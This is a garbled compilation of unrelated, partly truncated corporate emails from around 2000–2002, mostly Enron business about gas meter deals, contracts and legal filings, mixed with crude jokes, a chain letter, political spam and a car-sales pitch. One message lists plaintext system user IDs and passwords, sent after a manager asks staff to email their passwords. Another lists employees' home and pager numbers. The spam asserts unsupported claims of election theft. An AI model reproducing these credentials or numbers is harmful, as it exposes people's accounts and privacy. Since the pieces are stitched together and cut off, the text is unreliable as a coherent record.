Received: by smtp2.bge.com with Internet Mail Service (5.5.2650.21) id 
<R97K9V2L>; Fri, 1 Sep 2000 09:25:26 -0400
Message-ID: <82D020D6E0D8D311BD830004AC4CF564010F4B66@ex-ge-m05.ge.cec>
From: "Gahagan, Daniel P" <Daniel.P.Gahagan@bge.com>
Sender: "Hertsgaard, Heidi L" <Heidi.L.Hertsgaard@bge.com>
To: "'rrich@bracepatt.com'" <rrich@bracepatt.com>
Subject: FW: Fort Meade Privatization
Date: Fri, 1 Sep 2000 09:25:19 -0400
boundary="----_=_NextPart_000_01C01418.12A70440"

* BGE-Army Cover letter to Clerk.doc
> * BGE-Army Complaint.doc
> * BGE-Army Memorandum for Preliminary Injunction.doc
> * BGE-Army Memorandum Table of Contents.doc
> * BGE-Army Motion for Preliminary Injunction.doc
> * BGE-Army Declaration of M. Bay.doc
>
> I have also attached the GAO decision.
>
>  <<BGE-Army  Cover letter to Clerk.DOC>>  <<BGE-Army Complaint.DOC>>
> <<BGE-Army Memorandum for Preliminary Injunction.DOC>>  <<BGE-Army
> Memorandum Table of Contents Authorities.DOC>>  <<BGE-Army Motion for
> Preliminary Injunction.DOC>>  <<BGE-Army  Declaration of M. Bay.DOC>>
> <<GAO Decision Case No 285209 080200.pdf>>
>
> Please forward these documents to Susan Miller.
>
> Thanks.
>
> Monika

 - BGE-Army  Cover letter to Clerk.DOC
 - BGE-Army Complaint.DOC
 - BGE-Army Memorandum for Preliminary Injunction.DOC
 - BGE-Army Memorandum Table of Contents Authorities.DOC
 - BGE-Army Motion for Preliminary Injunction.DOC
 - BGE-Army  Declaration of M. Bay.DOC
 - GAO Decision Case No 285209 080200.pdf

Daren - Have you had a chance to look at this?

- Aimee
---------------------- Forwarded by Aimee Lannou/HOU/ECT on 05/09/2000 03:26 
   Aimee Lannou                05/04/2000 03:26 PM

cc: Fred Boas/HOU/ECT@ECT 
Subject: Sarco Lateral and Crow O'Connor Meters

Daren - Can you set up new deals for meter 6757 and 5192? 

 Meter 6757 Crow O'Connor -  Counterparty Duke Energy & Trading
 
  Month  Contract Deal #
  June 99  ENA 201 87426
  July 99  HPL 215 95072
  Aug 99  HPL 215 102775
  Sept 99  HPL 215 110502

 Meter 5192 Sarco Lateral

  No deal has ever been set up for meter 5192 for Duke Energy & Trading.  
There is flow for May, July and Nov. 99.

Will you please let me know if you set up new deals for these meters?

Thanks.

Aimee
---------------------- Forwarded by Aimee Lannou/HOU/ECT on 05/04/2000 03:17 

Fred Boas
05/04/2000 12:08 PM
To: Aimee Lannou/HOU/ECT@ECT
cc: Robert E Lloyd/HOU/ECT@ECT, Howard B Camp/HOU/ECT@ECT 

Aimee:

The Crow O'Connor, meter 6757 has its gas allocated to Strangers Gas for 
April and May 1999 and Duke has been calling Settlements asking for their 
money.  I will need to set up accounting arrangements for this meter for 
these months so please provide me the correct transportation contract and 
valid deal # for this transaction.

In addition, the Sarco Lateral, meter 5192 has its gas allocated to Strangers 
Gas for May and July 1999 and Duke has been calling Settlements asking for 
their money.  I will need to set up accounting arrangements for this meter 
for these months so please provide me the correct transportation contract and 

I would like to get this done ASAP since the customer is calling Settlements 
and we start close next week.

Thanks,

Fred

Teco Tap       60.000 / Enron ; 65.000 / HPL IFERC

LS HPL LSK IC       15.000 / HPL IFERC

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=20

THE STRONGEST MAN

Ted walks into a bar and shouts out, "Who's the strongest person in here?"

The toughest guy looks at him and says, "I am the strongest person around 
these parts!"

Ted politely asks, "Can you help me push my car to the gas station?"

HE SAID/SHE SAID

He said... I don't know why you wear a bra;  you've got nothing to put in it.
She said...You wear briefs, don't you?

He said....Do you love me just because my father left me a fortune?
She said...Not at all honey, I would love you no matter who left you the 
money.

She said...What do you mean by coming home half drunk?
He said....It's not my fault...I ran out of money.

He said... Since I first laid eyes on you, I've wanted to make love to you in 
the worst way.
She said...Well, you succeeded.

He said... What have you been doing with all the grocery money I gave you?
She said...Turn sideways and look in the mirror.

He said... Let's go out and have some fun tonight.
She said...Okay, but if you get home before I do, leave the hallway light on.

He said... Why don't you tell me when you have an orgasm?
She said...I would, but you're never there.

He said....Shall we try a different position tonight?
She said...That's a good idea, you stand by the ironing board while I sit on 
the sofa and fart."

Attached please find the agenda for the IEP Board meeting on December 19th.
Please note that this meeting will be held at IEP in the Pharmacy conference
room.  Unfortunately, there is no conference call in capability. Please let
Thanks!

 - 12-11 IEP Board Agenda Draft 2.doc

Dear Eric,

Keep up the good work!  Election Integrity 2000 is already
over 254,000 petitions to Certify the Bush Victory in
Florida.  We're going to see this thing through to the end
so please continue to spread the word.

Fortunately, there are many other groups out there fighting
to prevent Al Gore from stealing this election.  I'm
forwarding an e-mail I just received from the editor of
Newsmax.com describing their emergency campaign to get the
truth out.  Check it out!

For Election Integrity,

Bruce Eberle

From: Christopher Ruddy
Sent: Monday, November 20, 2000 2:50 PM
To: ElectionIntegrity2000
Subject: Urgent -- Stop Al Gore from Election Theft

Dear Concerned American:

The major media are not telling the truth about this
election and the serious vote fraud that has taken place.

Al Gore is trying to steal this election and the liberal
media are helping them.

NewsMax.com has set up an Emergency Fund to take out ads
across America to directly inform the American people about
this election and Al Gore's attempt to overturn the election
results.

It's critically important we bypass the major liberal media.

Already NewsMax has taken ads out in major newspapers like
USA Today. We plan on more ads on the web, in major papers,
and even ads on TV and radio.

If you want to help or just want more information, please
read NewsMax.com's Urgent Letter.

Click here to read the urgent letter:
http://www.newsmax.com/election-generic1.shtml

This is important. Al Gore is planning to take this to the
Electoral College. We need to act now.

Thank you.

Christopher Ruddy
Editor
NewsMax.com

If you would like to unsubscribe from Election Integrity 2000
e-mail updates or change your e-mail address, please visit
our web site at:

http://www.electionintegrity2000.com/home/up.cfm?L=EB184392&P=N4FCO3&A=335

AOL Users:
<A 
HREF="http://www.electionintegrity2000.com/home/up.cfm?L=EB184392&P=N4FCO3&A=3
35">Unsubscribe or Change E-mail</A>
============================================================

Here are the questions from Allegheny regarding Gleason.
Ben
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 10/19/2000 
07:22 PM ---------------------------

"Irwin, Thomas J." <TIRWIN@alleghenyenergy.com> on 10/19/2000 06:59:46 PM
To: "'benjamin.rogers@enron.com'" <benjamin.rogers@enron.com>
cc: "'mitch.robinson@enron.com'" <mitch.robinson@enron.com>, "Stang, H. Roy" 
<hstang@alleghenyenergy.com>, "Lapcevic, Joseph P." 
<JLAPCEV@alleghenyenergy.com>, "Pezze, Thomas A." 
<TPEZZE@alleghenyenergy.com>, "'paul.f.burton@ssmb.com'" 
<paul.f.burton@ssmb.com> 
Subject: ENRON -- Information requests resulting from Gleason site visit

The following requests resulted from our site visit to Gleason Plant on
October 19, 2000:
1. Regarding the three CTs purchased and installed at Gleason, when was
the reservation agreement signed?
2. Please provide CD with Construction Drawings and Plot Plan
identified on DealBench.  Please include Seimens drawings.
3. Please point out in DealBench or provide separate the documents that
contain operating budget for Gleason.  Discussions identified a year 2000
budget versus actual report and a 2001 draft budget.  These two would be
adequate.
4. Please provide engineering details of RTU module and associated
equipment used for plant dispatch.
5. Please provide the O&M contract with Operational Energy Corporation.
6. Please provide water chemistry analysis for wells or identify
document on DealBench.
7. Please provide lease on property with Industrial Development Board.
8. Please provide any available information on Westinghouse contract.
9. Please provide chart and guarantee curves for CTs.
10. Please provide your calculations supporting the 915 hour annual
operating limit.
11. Please identify equivalent starts for each CT.
12. Please provide copy of standard operating procedure for the plant.
13. Please provide hydrological studies on aquifer used for plant water.
Please provide forecast of Price volatility for ECAR, TVA, and M

Hope you haven't read this before. If not then know that I figured it
out. If you have read it before  then I know that I just forwarded it.

Missing You All
Joe

> > Subject: The Biggest Mathematical Miracle in the World
> >
> >  The Biggest Mathematical Miracle in the World!
> > >
> > >      Moses and the people were in the desert, but what was he going
to
> > do
> > with them? They had to be fed, and feeding 2 or 3 million people
requires
> > a
> > lot of food.
> > >
> > >      According to the Quartermaster General in the Army ( or my
calculations, whichever story you believe) , it is
reported
> > that Moses would have to have had 1500 tons of food each day.
> > >
> > >      Do you know that to bring that much food each day, two freight
> > trains, each a mile long, would be required!  Besides you must
remember,
> > they were out in the desert, so they would have to have firewood to
use
in
> > cooking the food. This would take 4000 tons of wood and a few more
freight
> > trains, each a mile long, just for one day. And just think, they were
> > forty
> > years in transit.
> > >
> > >      And oh yes! They would have to have water. If they only had
enough
> > to
> > drink and wash a few
> > >  dishes, it would take 11,000,000 gallons each day, and a freight
train
> > with tank cars, 1800 miles long, just to bring water!
> > >
> > >     And then another thing! They had to get across the Red Sea at
night.
> > (They did?) Now, if they went on a narrow path, double file, the line
> > would
> > be 800 miles long and would require 35 days and nights to get
through.
So,
> > There had to be a space in the Red Sea, 3 miles wide so that they
could
> > walk
> > 5000 abreast to get over in one night. But then, there  is another
> > problem.
> > >
> > >     Each time they camped at the end of the day, a  campground
> > two-thirds
> > the size of the state of  Rhode Island was required, or a total of
750
> > square miles long...think of it! This space just for
> >  nightly camping. Do you think Moses figured all this out before he
left
> > Egypt? I think not! You see,  Moses believed in God. God took care of
> > these
> > things for him.
> > >
> >  Now do you think God has any problem taking care of all your needs?

Dan:
Here are the questions some of your guys sent us yesterday.  I recently faxed 
you pages which state the amount of the Enron Guarantees, which are mentioned 
in these questions.  Please give myself or Don Miller a call if you have any 
additional questions.  Thank you!
Ben

I'd like to share something with you.  I have  included a link of the manufacturer's pricing to the Dealer-by Kelley Blue  Book.(New or Pre-Owned)  This will show you that my integrity is  sincere.(click below)  There's no need to run all over town shopping for a  vehicle.  You just drive to the person who shows you the real  numbers.(Me)  By attaching the dealer cost values for you, it is obvious  that you are getting a fair deal.(Wholesale Price)  At the same time, you  are saving time and money.  I'll try to make this as easy as possible  folks.  If you are not ready at this time, that's okay!   This is  not a high pressure car buying program.  What I do ask of you is that you  WRITE DOWN & REMEMBER who got you all of the pertinent information to make  your car buying decision.(Ken Finney)  See below..
 
Some of you don't know it yet, but your company may  be a partner with Ford.  If this is the case, you may be eligible for  additional incentives.  This is applicable to New Vehicles only!  I  just need to know who you work for...
 
Trade-in Vehicles:
Here's the area where everyone is quite  skeptical.  I will give you what I call an Actual Cash Value!(yes, a real  #)  I find it much easier to deal with real numbers.  We can talk more  about this arena later if you wish.
 
I will not lose your business over price with  anyone!  Bring me a deal from another Ford Dealer and I'll beat it!   If I don't have it in-stock, I'll find it and get here!(New or  Pre-Owned)  I HAVE ACCESS TO FORD/LINCOLN/MERCURY PRODUCTS!
 
Call or email me with a valid phone number if  you're interested in discussing more of the details.  I'm on the road a lot  so please leave messages on my cell phone or with another Sales  Manager.
 
(click here for pricing)www.kbb.com  
                                                                                           
                                                       If this button does not work, call me asap!www.eastwayfordsales.com   
 
Ken Finney
Eastway Ford
Internet/Fleet/Leasing Director
877.243.8914 Toll Free
409.389.2291
409.389.2232
281.728.2654  cell

User Id: jschwie		
Password: etj6781jjj

Phone Mail Password:  7145345

Enron On Line User Name: ADM08097	
		Password: SCHWIEGER1

That's all I can think of!!!!!!!!!!!!!!!!!!!!!!!!1

	Swig

Sent:	Friday, November 02, 2001 10:31 AM
To:	Bass, Eric; Baumbach, David; Bryan, Gary; Buss, JD; Farmer, Daren J.; Hull, Bryan; Knippa, Mark; Martin, Thomas A.; Olsen, Michael; Parks, Joe; Schwieger, Jim; Smith, Joseph; Weldon, V. Charles
Subject:	Log On ID's / Passwords

Please provide any Log On ID's and Passwords for any application(s) that someone would need to access in your absence.  I also need your system Log On ID's and Passwords, as well.

I need this information ASAP - not only for while you are out, but also for purposes pertaining to our big move to the new building, which (by the way) is next Friday, November 9th.  WOO HOO!  I'll be sending more information to you soon about the move.

Thanks,
Laura

----- Forwarded by Joel Brainard/ORE/NYSDPS on 01/25/02 03:23 PM -----

"Kirkpatrick, Joe" <Joe.Kirkpatrick@constellation.com>
01/20/02 08:12 PM
Please respond to market_relations

        To:     NYISO TIE List <joel_brainard@dps.state.ny.us>
        cc:
        Subject:        Reduction of OOM?

Joe Kirkpatrick wrote:

On a side note it is interesting to note that there is a recent
presentation
to the AMP/ICM Task Force by one of the participants that has determined
that if all the large suppliers collude in tandem to withhold 50 MW each
that there could conceivably be an increase in price. While this
conspiracy
theory is of concern to said presenter it would seem highly unlikely,
especially considering that bid load or exports provide a much higher
impact
on price in reality than the unlikely scenario of some large suppliers all
colluding in tandem.

My comment:

This is a serious mischaracterization of what was said.   No collusion is
required.  All that is needed for a large impact on prices from the
exercise of market power is for the generators to act in their own self
interest.

---
You are currently subscribed to nyiso_tie as: paul.d.thomas@enron.com
To unsubscribe send a blank email to leave-nyiso_tie-629431H@lyris.nyiso.com

Read the Campbelldecision.  Great decision re: the filed rate doctrine.  Case dismissed.  

Curricular Review Task Force (CRTF)
Report # 9 (October 1, 2001)

The Curriculum Review Task Force held its first meeting for the academic
year on August 23, 2001. We reviewed the work done last May to tie up loose
ends and to plan the work for the year. During the intensive work sessions
in the last week of May, the eight faculty members of the Task Force
(including the Chair) had made detailed presentations to our group on eight
topics related to the Curriculum Review (Please see my last report for
details). It was decided that these members would write a summary of their
presentations, including their cited references, and circulate them to the
other members of the Task Force. After reviewing these summaries, and
remembering the strategic curricular initiatives collectively decided on by
our faculty and staff during the Purser-Gans Conference, each Task Force
member was asked to come up with five Educational Goals which would guide
our future work.

Meanwhile, it had been decided in consultation with the Faculty Senate that
the Fall Faculty/Staff Conference would focus on the Curricular Review. The
Task Force had decided last May that the first two curricular initiatives to
be considered are (1) Reinvestment in Pedagogy and (2) Communication Across
the Curriculum. These two topics became the key themes for the Faculty/Staff
Conference. The Task Force met with the Conference Planning Group on August
20 and it was agreed that the small group discussions will be led by seven
Task Force members. The Faculty Conference held on August 23 was very
productive in providing valuable input for the work of the Task Force. In a
general sense the Conference gave a vote of confidence for the work and
approach of the CRTF. We have taken detailed notes of the discussions in the
small groups and the plenary session.

On September 12th and 19th, the Task Force held intensive work sessions in
the Boone House from 5:30 to 9:00 p.m. Each member, as agreed earlier,
brought a list of five Educational Goals and after a lengthy discussion we
have arrived at six educational goals and a list of operational ends for
each of them. These goals focus on the competencies to be developed by our
students and the learning outcomes of our academic program. After these are
finalized, we will arrange an open meeting to discuss them with our faculty.

On September 24, the Task Force met with the Assessment Committee and Dr.
Susan Holm, Chair of the MFL department. The Assessment Committee discussed
with us its plans and the list of eight Assessment Review Questions prepared
by the Committee. Dr. Holm discussed the role of foreign language learning
in the liberal arts education, the recent changes in MFL
majors/minors/concentration and her department=s plans for further changes.
The details of these discussions will be available in our minutes which will
be posted in the public folders later this week. To access this folder,
please go to Public Folders, All Public Folders, Documents, College,
Curricular Review Task Force. We are planning to meet with other departments
in the near future. Thanks.

Raj Ambrose, Chair
Curriculum Review Task Force.

Name    Home    Pager

George Grant   281-282-9084   713-764-5128
Charlotte Hawkins  281-655-0952   713-506-4006
Aimee Lannou   713-594-6562   713-698-7722
Robert Lloyd   281-847-2808   713-698-5446
Stella Morris   281-448-9067   713-200-8376
Susan Trevino   713-688-6186   713-200-8368
Kim Vaughn   281-586-0910   713-761-8153
Jackie Young   713-528-4562   713-990-6400
Carlos Rodriguez  281-344-0991   713-761-2722
Mandy Allen   281-970-6561   713-990-8332

Start Date: 2/6/02; HourAhead hour: 16;  No ancillary schedules awarded.  No variances detected.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020616.txt
Couldn't update; currently locked by user 'admin' on machine 'NAHOU-TRDTS4'.
Table

     Details:

  SC_ID: ECTstNW
  TRANS_DATE: 2/6/02
  INTERCHG_ID: ENRJ_CISO_3000

Sara,

Jeff Kinneman has suggested that perhaps legal could scan the executed document and edit the signature pages as opposed to recreate it since CSFB cannot provide the word document we requested.

However we decide to pursue this is still a priority as we are now shut off from trading.

Please advise as to what time frame we can expect the document to be completed.

Thanks,

Tom

and your offer?

"Eva Pao" <epao@mba2002.hbs.edu> on 05/13/2001 02:58:28 PM
To: <John.Arnold@enron.com>
cc:  
Subject: RE: Extra credit

1.99999999999999999999999999999999999

Sent: Sunday, May 13, 2001 4:37 PM
Subject: Re: Extra credit

rules to a game:
You flip a coin. If you get tails you win 0.  if you get heads, i give you
$1.  Keep flipping until you get a tails, at which point you walk away with
the money.  however, each heads you get after the first you double your
money.  So if you flip heads 3 times and then tails, you get $4.  What's
you bid/offer on playing this game?  (would you pay $.5 to play? $1? $2?
what you charge me play against you?)

Kim:  Do I need to review the letters?  Sara

From: 	Theriot, Kim S.  
Sent:	Friday, October 05, 2001 4:29 PM
To:	Berkeland, Bill
Cc:	Taylor, Mark E (Legal); Shackleton, Sara; Aucoin, Evelyn; Miroballi, Angelo
Subject:	Update Pricing Spreadsheet

See attached pricing spreadsheet.  We received two additional signed letters today.

Kim

 << File: Mkt. Disruption Tracking.xls >> 

7 Sis is averaging 23,000 M/Day.  Big Cowboy is pretty dead on.  Carol would 
like for us to gross up for Saxet based on the number of flow days left so 
that the nomination to the plant takes the payback into account.

Mary

Congrats!  Come visit sometime.  SS

Dale Neuner on 11/01/99 03:34:42 PM
To: Bill Greenizan/CAL/ECT@ECT, Dianne Seib/CAL/ECT@ECT, Stewart 
Rosman/HOU/ECT@ECT, Tim Belden/HOU/ECT@ECT, Sean Black/HOU/ECT@ECT, Brent 
Hendry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mark Taylor/HOU/ECT@ECT, Sara 
Shackleton/HOU/ECT@ECT, Shari Stack/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, 
Jeffrey T Hodge/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT, Susan 
Flynn/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Marie Heard/HOU/ECT@ECT, Jung-Suk 
Suh/HOU/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, Melissa Ann Murphy/HOU/ECT@ECT, 
Robert B Cass/HOU/ECT@ECT, Edmund Cooper/LON/ECT@ECT, Debbie 
Nicholls/LON/ECT@ECT, Mark Elliott/LON/ECT@ECT, Lucy Ortiz/HOU/ECT@ECT, 
Michael Nguyen/HOU/ECT@ECT, Heather Alon/HOU/ECT@ECT, John 
Jacobsen/HOU/ECT@ECT, Tony Harris/HOU/ECT@ECT, Carolyn Gilley/HOU/ECT@ECT, 
Jaime Williams/NA/Enron@ENRON, Tanya Rohauer/HOU/ECT@ECT, Rod 
Nelson/HOU/ECT@ECT, Jeff Harbert/HOU/ECT@ECT
cc:  
Subject: My role has changed.........

This past Friday I was offered (and accepted) a position with EnronOnline. 
The move is effective today. 

I've enjoyed working with all of you and look forward to supporting your 
business in my new role. If you require any assistance regarding financial 
Confirmations, please do not hestitate to contact Larry "Joe" Hunter at 
3-3316 (Senior Specialist - Lead) or Jeff Sorenson at 3-5294 (Manager).

Please feel free to forward this to any person you deem appropriate or that I 
may have missed.

Dale
3-9746

This request has been pending your approval for  13 days.  Please click http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000080512&Page=Approval to review and act upon this request.

Request ID          : 000000000080512
Request Create Date : 1/7/02 5:01:54 PM
Requested For       : stephen.benchluch@enron.com
Resource Name       : Market Data Kobra Basic Energy

Group,

For the third day in a row (4th time this week) I have received an email or call from Kathy at EPE asking the model to be resent because of simple errors.  Typos in the model should be caught and corrected while checking out with counterparties and running the CARP.  The ancillary service (spin) deals need to sum into the ancillary section at the bottom...not with the regular deal entry summary.  We need to use the reconciliation sheet when appropriate (which has not been used since Feb--and this will haunt us when Houston tries to check out March and April).  We do a good job trading for EPE and managing their system but I am not impressed with our attention to detail for this customer on deal entry.  I continue to see the same mistakes which suggests that procedure questions exist.  Please ask myself or a senior member of the group if you have any questions.  I look for us to improve going forward.

Thanks,

Bill
503-887-3449

We are excited to announce the commencement of Pilot Two!  Enron is pleased 
to provide you with another outstanding benefit that makes Enron a great 
place to work!  Starting today, you may access the program website & place 
your order for a DELL Computer.  You will be notified when it is time to 
order your Internet connection and when to complete your first pilot survey 
in the coming weeks.  The following is a timeline for Pilot Two:

Dell PC Ordering    TODAY!!! (through Dec 20th)
Employee Portal Roll-out   December 18
ISP Ordering      To Be Determined
First Pilot Two Survey    December 21
Connection in to the Enron Network  Not a part of Pilot Two.  Please retain 
your existing connection and computer for telework purposes.

Ready to Get Innovative at Home?  You may proceed to the ordering website by 
clicking on the link below (Please use Internet Explorer when utilizing the 
ClickAtHome website for optimal performance):

https://clickathomepilot.enron.com 

The ordering window for your Dell computer will conclude in 2 weeks, December 
20, 2000.  If you are not able to order during this time period, you will 
have an opportunity to participate in the 2001 All Employee Roll-Out of this 
program.

If you have any questions regarding the process please email the clickathome 
team at clickathomepilot2@enron.com

The ClickAtHome Project Team!

  Market Participants:

  As you know, our next CMR stakeholder meeting is tomorrow.
We will also hold the following CMR Stakeholder meetings (details to
follow):

  August 4: FTRs, DA and HA Congestion Management,
Recallable Transmission

  August 8: Real Time Market, New Generator
Interconnection Policy, Long-Term Grid Planning.

  Please remember, also, that preliminary comments on the CMR
Recommendation are due to bwoertz@caiso.com <mailto:bwoertz@caiso.com>  by
5:00 p.m. PDT on Friday, July 28.   If possible, we would appreciate
receiving your comments before the July 28 deadline.

  Thank you for your continuing interest and participation in
this project.

  Byron Woertz
  Director, Client Relations

Rodney, if this deal is such a long put why did you push me into this process?

You should have made the call to kill it.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/18/2000 
09:54 AM ---------------------------
   
	From:  Rodney Malcolm                           10/17/2000 07:32 PM
	
cc: Raymond Bowen/HOU/ECT@ECT, Marty Sunde/HOU/EES@EES 
Subject: Re: GE Plastics Facts  

Dave, Marty,

In general moving the deal to just a Selkirk deal minimizes a lot of the 
concerns surrounding centralized decision making etc.  The plant manager is 
on board   
as is Doron Grossman.  As a result the sales part should be largely completed 
but the deal is far from closed.  I believe driving to closure with margin 
with GE in 2000 will be a challenge.  I haved attached some information 
regarding Marte's other questions and would be happy to discuss with the team.

10/16/2000 09:42 AM
To: Rodney Malcolm/HOU/ECT@ECT, Raymond Bowen/HOU/ECT@ECT
cc: Marty Sunde/HOU/EES@EES 
Subject: Re: GE Plastics Facts

Rodney, from what you told me it sounds like GE is willing to play on the 
Selkirk asset so the sales cycle should be largely completed.  Can you answer 
Marty's other questions?

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/16/2000 
09:39 AM ---------------------------
From: Marty Sunde@EES on 10/15/2000 09:05 AM
cc: Harold G Buchanan/HOU/EES@EES, Dan Leff/HOU/EES@EES, Karen S 
Owens@ees@EES, Mark Frevert/NA/Enron@Enron@ECT, Rodney Malcolm/HOU/ECT@ECT, 
Raymond Bowen/HOU/ECT@ECT 

Hi David,
I'll give you a response with the hope of seeing more information that would 
change my mind.  If you are asking for my opinon, it is difficult to be 
supportive of moving ahead on a transaction like this give the fairly 
significant obstacles (these are usually deals killers) that Rodney 
describes.  What I couldn't read into Rodney's write up were other 
undocumented factors that you might change the probability, like: 

Is there an Sr. executive champion that is willing to "influence" the GE 
negotiating team into getting a deal done, even if the terms are less 
desirable than what Rodney laid out as their requirements?
Are the willing to extned the term so that there isn't a capital tail?
Is there any real compelling motivation for this GE Plastics team to change 
from current practice?  Do we know what that is and what the deadline for 
action for change is? 
Could Rodney suggest alternatives to address the obstacles and show the 
potential impact on the margin in the deal?  
Is there some other component of this deal that is so compelling to the 
prospect that we can attach these pieces to that?

Realistically, based on what is written, the deal you are describing sounds 
like it would have a low probability to close, surely in 2000.  
HOWEVER< if there exenuating circumstances like you feel like we just need to 
win this at all costs, there are values not being calculated that the client 
would recognize, there are senior execs at GE Plastics behind this looking 
for a way to close this, or anything else that is convincing your origination 
team that they have a winner here....then, lets find out what that is and go 
for it.

I wasn't exactly sure what you were asking for.  If it was my opinion, that 
is above.  If it was to put more resource on it to try to make the 
probability go up, I'll be glad to help.  If it is some other, just let me 
know.  

I would suggest we just start with trying to get more information from Rodney 
and team regarding why they are convinced this can be contracted for with 
margin in 2000.  I would love to participate and do what we can to make this 
work out, as long as we all agree that there are reasonable approaches to 
raising the probability of victory.  

Thanks

David W Delainey@ECT
10/13/2000 09:47 AM
To: Harold G Buchanan/HOU/EES@EES, Marty Sunde/HOU/EES@EES, Dan 
Leff/HOU/EES@EES
cc: Lou L Pai/HOU/EES@EES, Mark Frevert/NA/Enron@Enron, Rodney 
Malcolm/HOU/ECT@ECT, Raymond Bowen/HOU/ECT@ECT 
Subject: GE Plastics Facts

Guys, I would like your opinion on this potential transaction.  This has been 
sold through GE for some time and it is reasonably likely that if we employed 
some additional resources that this could be completed over the next quarter 
or so.

Ultimately, Rodney and his team would like to see EES take control of the 
deal with EIM folks staying involved to ensure continuity and to assist to 
closure. Assuming that the sales process is largely completed, I see some 
value for Enron to take this deal including:
 a) $200 M in TCV for 2000;
 b) $3 to $5 M in value;
 c) GE on our EES resume of companies which will help in future sales to the 
large industrial customers;
 and d) provides an "in" to the GE family of companies which could result in 
significant up-sell capability in the future if we provide a quality product.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/13/2000 
   
	From:  Rodney Malcolm                           10/12/2000 07:37 PM
	
cc: Raymond Bowen/HOU/ECT@ECT 

Dave,

The GE Plastics facility is located in Selkirk NY just south of Albany and 
produces polystyrene and polyphenyleneoxide.  The deal value is roughly $4-5 
million NPV of which $3-4 million may be markable income.  

The obstacles to closure are:
- the projected savings have gone from 27% to 20% when GE said they wanted 
more
- there is some capital recovery at the end of year ten that GE would have to 
pay us and they are not yet agreeable to,
- the savings include $1 million in O&M savings and it will be very difficult 
to get to closure with them letting us do the O&M

Deal Stats Are:

Electricity  230,000 mwh/yr  $12 million/yr
Steam  430,000 lbs/yr  $3   million/yr
Gas  470,000 mmbtu/yr $2   million/yr
O&M     $3   million/yr
Total     $20 million/yr

10 year contract, total contract value $200 million.

Let me know if you need any further information.
Thanks,
Rodney  

 I have made the change to Section 8.8 as requested in the attached contract 
document.  You are correct about the second item, it is intended that the 
Purchase Order Number be a part of the address to be included on any invoice 
that is issued to the company.  This is absolutely the only way that we have 
to include the Purchase Order Number on any statements.  Therefore, i have 
not removed that line from the address,  At such time as the Purchase Order 
Number is available, please send a revised address notice to the company 
containing such number.  Until that happens, it will be understood that no 
number has been provided.  Please call if you have any questions.

	"Pfister, Christian W." <CWPfister@cps-satx.com>
	01/23/2001 10:43 AM
		 
		 To: "'Dan.J.Hyvl@enron.com'" <Dan.J.Hyvl@enron.com>
		 cc: 
		 Subject: FW: Enfolio Contract with CPS

Mr. Hyvl,

I just now had a chance to make a final review of the contract and noticed a

Thanks ...

Stephanie, I have forwarded your draft to my colleague Anita Khosla who has
just recently concluded negotiations with Enron Credit Corp and is therefore
probably better placed than myself to take on board these negotiations.  She
can be contacted on (212) 538-1938 and at antia.khosla@csfb.com

Keith

From: Stephanie.Panus@enron.com [mailto:Stephanie.Panus@enron.com]
Sent: Wednesday, February 07, 2001 11:04 AM
To: keith.mcnally@csfb.com
Cc: Sara.Shackleton@enron.com; Clint.Freeland@enron.com
Subject: Draft ISDA Master Agreement

Mr. McNally,

Per the request of Clint Freeland of Enron Corp., attached for your review
is a draft of the ISDA Master Agreement between Enron Corp. and CSFB.  If
you will not be negotiating the Agreement on behalf of CSFB, please let us
know the correct person.

Please contact myself or Sara Shackleton if you have any questions.

(See attached file: 056ctr(csfb-ene).doc)

phone:  713.345.3249
fax:  713.646.3490

FYI.  Couple of pretty good takes from the press.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Calif Republicans May Prevail With 'Bailout' For Edison    =20
Updated: Wednesday, July 18, 2001 03:17 PM=01;ET     =01;=20
=01;
By Jason Leopold=20

LOS ANGELES (Dow Jones)--Assembly Republicans could upstage Democrats in th=
e=20
California Assembly Wednesday in a bid to rescue ailing utility Southern=20
California Edison Co. from insolvency.=20

And they may do so with a bill its backers unabashedly call a "straight=20
bailout" for the Edison International (EIX, news, msgs) unit.=20

"This how the minority in the Assembly can use their votes to derail majori=
ty=20
legislation," Jamie Fisfis, spokesman for the Assembly Republican Caucus,=
=20
said Wednesday.=20

The bipartisan bill, introduced by Assemblyman Rod Wright, D-South Central=
=20
Los Angeles, and Assemblyman Keith Richman, R-Granada Hills, capitalizes on=
=20
partisan politics and dissatisfaction with several elements of a competing=
=20
bill sponsored by Assembly Speaker Bob Hertzberg, D-Van Nuys, and Assembly=
=20
Speaker Pro Tem Fred Keeley, D-Boulder Creek.=20

Both bills face a critical vote Wednesday in the Energy Costs and=20
Availability Committee. Wright said he's secured nine votes for his bill on=
=20
the 20-person committee - the eight Republicans and one Democrat. Keeley's=
=20
office said his bill needs one more vote.=20

"It's going to be close," Wright said minutes before the committee hearing.=
=20

Assembly Republicans and some Democrats are concerned by provisions in the=
=20
Hertzberg bill that would have the state buy the utility's transmission=20
lines, limit consumers' ability to choose their power provider and place th=
e=20
burden of the rescue on businesses.=20

Bill Forgoes Power-Line Buyout=20

Wright's bill would forgo those measures, instead allowing Southern=20
California Edison to recoup more than $3.5 billion in unrecovered power cos=
ts=20
through a surcharge placed on utility bills in exchange for a commitment by=
=20
the utility to sell power from its generation units to the state at cost.=
=20

Southern California Edison executives said the Hertzberg-Keeley bill, which=
=20
would require the company to absorb some of its wholesale-power losses,=20
wouldn't allow the company to become creditworthy and return to the power=
=20
business any time soon.=20

Consumer groups have criticized both plans as bailouts and have vowed to=20
overturn the rescue efforts if either is enacted. Business groups, includin=
g=20
the state's Chamber of Commerce and the California Manufacturers and=20
Technology Association, said if large businesses are stuck paying for the=
=20
bailout, consumers will feel the pinch through increased costs in the retai=
l=20
sector.=20

Steve Maviglio, press secretary to Gov. Gray Davis, said the governor is=20
"working with the Legislature for an appropriate balance that does not plac=
e=20
any undue burden on any sector."=20

Lawmakers have until Aug. 15 to pass legislation supporting an April=20
